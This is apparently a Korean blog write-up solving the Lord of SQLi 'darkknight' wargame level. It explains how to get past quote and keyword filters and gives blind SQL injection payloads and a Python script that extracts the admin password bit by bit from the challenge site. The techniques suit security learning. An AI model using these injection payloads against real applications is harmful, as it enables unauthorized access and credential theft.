티스토리 뷰
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
no 파라미터에 대한 필터링으로는 [prob, _, ., (, ), ', substr, ascii, =] 가 있다고 합니다.
pw 파라미터에 대한 필터링으로는 '(작은따옴표/single quote) 하나만 있습니다.
no 와 pw 파라미터의 공통점으로는 둘 모두 작은따옴표를 금지하고 있는 걸 볼 수 있습니다.
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
쿼리문의 결과로 id 가 존재할 경우, 즉 참일 경우 Hello 로 시작되는 문자열이 화면에 출력된다고 합니다.
그리고 위 코드 바로 아래에는 addslashes($_GET[pw]) 가 있는 것으로 보아 위의 sql injection에 취약한 코드를 이용해서 admin의 비밀번호를 획득해야하는 것으로 보입니다.
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
만약 pw 값이 admin 의 비밀번호라면 drakknight 문제가 풀린다고 합니다.
이전에 풀었던 orc, orge, golem 과 비슷한 문제라고 볼 수 있는 것 같습니다. 다만 필터링이 조금 더 강화된 것 같네요.
이 문제에서는 single quote(작은따옴표) 필터링을 우회할 수 있는지 질문하고 있는 것 같습니다.
결론만 말씀드리자면 where 절에서 like 를 이용해서 본 문제를 해결할 수 있습니다.
우선 admin 의 pw의 길이부터 구해보고 나서 실제 admin 이 가지는 pw 를 알아내보겠습니다.
아래 query문은 두 가지 방법으로 아이디 admin 이 가지는 pw 의 길이를 알아내보았습니다.
첫번째 줄의 query문에서는 admin 이라는 문자열을 16진수 아스키코드값으로 변환하여 표현해보았고 length(pw)>7로 하여 =(부등호) 필터링이 된 것을 >(꺽쇠) 기호를 사용하여 비밀번호의 길이를 확인해보았습니다.
두번째 줄의 query문에서는 작은따옴표가 필터링 되었으니 큰따옴표를 사용해서 admin을 잡아줬고, =(부등호) 펄터링을 like 문으로 우회해주었습니다. 사실 이 외에도 다양한 방법이 있으나 각자 더 연구해보면 좋을 것 같습니다.
select id from prob_darkknight where id='guest' and pw='123' and no=1 or id like 0x61646D696E && length(pw)>7;
select id from prob_darkknight where id='guest' and pw='123' and no=1 or id like "admin" and length(pw) like 8;
위와 같은 query문을 사용해서 pw 의 길이를 구해주었다면 이젠 pw의 길이만큼 반복해서 실제 pw의 문자열을 알아내기만 하면 되겠습니다. query문은 아래와 같이 substr 함수를 대체한 mid 함수, ascii 함수를 대체한 ord 함수, =(부등호)를 대체한 like 를 중점으로 보시면 될 것 같습니다.
select id from prob_darkknight where id='guest' and pw='123' and no=1 or id like "admin" and ord(mid(pw,1,1)) like 48
만약 위 query문 대로 하고서 Hello admin 이 나왔다면 admin 의 pw의 첫번째 문자는 0 이 될 것입니다. 아스키코드 10진수로 48은 0 문자입니다. 아스키코드 관련해서는 아래 링크에서 참고하시면 되겠습니다.
https://domdom.tistory.com/66?category=971323
대충 아스키코드 값 48 부터 57, 다시 65 부터 90까지 돌려보면 되겠죠? 뭐 귀찮으면 48부터 90까지 쭉 돌리셔도 됩니다. 하지만 그만큼 속도가 오래 걸릴 겁니다. pw 의 길이가 8 이고 48부터 90까지 돌려야 하면 족히 300번 이상은 비교해야지 비밀번호를 알아낼 수 있을 겁니다. 이 속도 문제를 해결하기 위해서 bit 연산자를 활용한다고 했었습니다.
자세한 설명은 이전 orc 문제의 풀이글을 참고해주세요.
https://domdom.tistory.com/63?category=981717
사실 query문을 보시면 바로 이해가실겁니다.
select id from prob_darkknight where id='guest' and pw='123' and no=1 or id like "admin" and if(ord(mid(pw,1,1))&128 like 128,1,0);
select id from prob_darkknight where id='guest' and pw='123' and no=1 or id like "admin" and if(ord(mid(pw,1,1))&64 like 64,1,0);
select id from prob_darkknight where id='guest' and pw='123' and no=1 or id like "admin" and if(ord(mid(pw,1,1))&32 like 32,1,0);
select id from prob_darkknight where id='guest' and pw='123' and no=1 or id like "admin" and if(ord(mid(pw,1,1))&16 like 16,1,0);
select id from prob_darkknight where id='guest' and pw='123' and no=1 or id like "admin" and if(ord(mid(pw,1,1))&8 like 8,1,0);
select id from prob_darkknight where id='guest' and pw='123' and no=1 or id like "admin" and if(ord(mid(pw,1,1))&4 like 4,1,0);
select id from prob_darkknight where id='guest' and pw='123' and no=1 or id like "admin" and if(ord(mid(pw,1,1))&2 like 2,1,0);
select id from prob_darkknight where id='guest' and pw='123' and no=1 or id like "admin" and if(ord(mid(pw,1,1))&1 like 1,1,0);
위 query문을 보시면 총 8번 비교했을 때 admin 의 pw 의 첫번째 문자를 알 수 있습니다. 128 은 1바이트를 의미합니다. 이전에도 말씀드렸지만 아스키코드는 1바이트 이내로 이루어져있습니다. 1바이트는 다시 8비트로 이루어져있죠. 그렇기 때문에 최대 8번만 비교해보면 비밀번호의 아스키코드 값을 알아낼 수 있는 겁니다.
위 query문이 참(True)일 경우는 bit 가 32일 때와 16일 때입니다. 그리고 두 값을 합하면 48이 됩니다. 그 말은 즉, admin 의 pw 의 첫번째 문자열이 숫자 0 이라는 의미와 동일합니다.
무튼 위의 query문을 이제 pw의 길이 8 만큼 다시 시도 해보면 문제는 풀리겠습니다. 저는 손으로 하지 않고 python 코드로 작성해보았습니다.
import requests
def SQLI():
url = "https://los.rubiya.kr/chall/darkknight_1.php?"
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36',
}
cookies = {
'PHPSESSID':'세션값',
}
length = 8
result = ""
prefix = "pw=123&"
# pw 구하기
for i in range(1, length+1):
byte = 0
bit = pow(2, 7)
while bit >= 1:
param = "no=1 or id like \"admin\" and if(ord(mid(pw,{0},1))&{1} like {2},1,0)".format(i, bit, bit)
param = param.replace(" ","%20").replace("&","%26")
res = requests.get(url+prefix+param, headers=headers, cookies=cookies)
if(res.text.find('<h2>Hello admin</h2>') != -1):
byte += bit
bit //=2
if(byte == 0):
break
result += chr(byte)
print("[+] Result:", result)
if __name__ == '__main__':
SQLI()
그리고 나온 결과를 pw 파라미터에 입력하고 URL을 요청하면 문제는 아래와 같이 해결되는 것을 볼 수 있습니다.
- 끝 -
'보안 > Wargame' 카테고리의 다른 글
[Lord of SQLi] giant Writeup/문제풀이 (0) | 2021.09.04 |
---|---|
[Lord of SQLi] bugbear Writeup/문제풀이 (0) | 2021.09.04 |
[Hackthebox] - Freelancer Writeup(문제풀이) (0) | 2021.08.31 |
[Hackthebox] - baby CachedView Writeup(문제풀이) (0) | 2021.08.23 |
[Hackthebox] - Gunship Writeup(문제풀이) (0) | 2021.08.19 |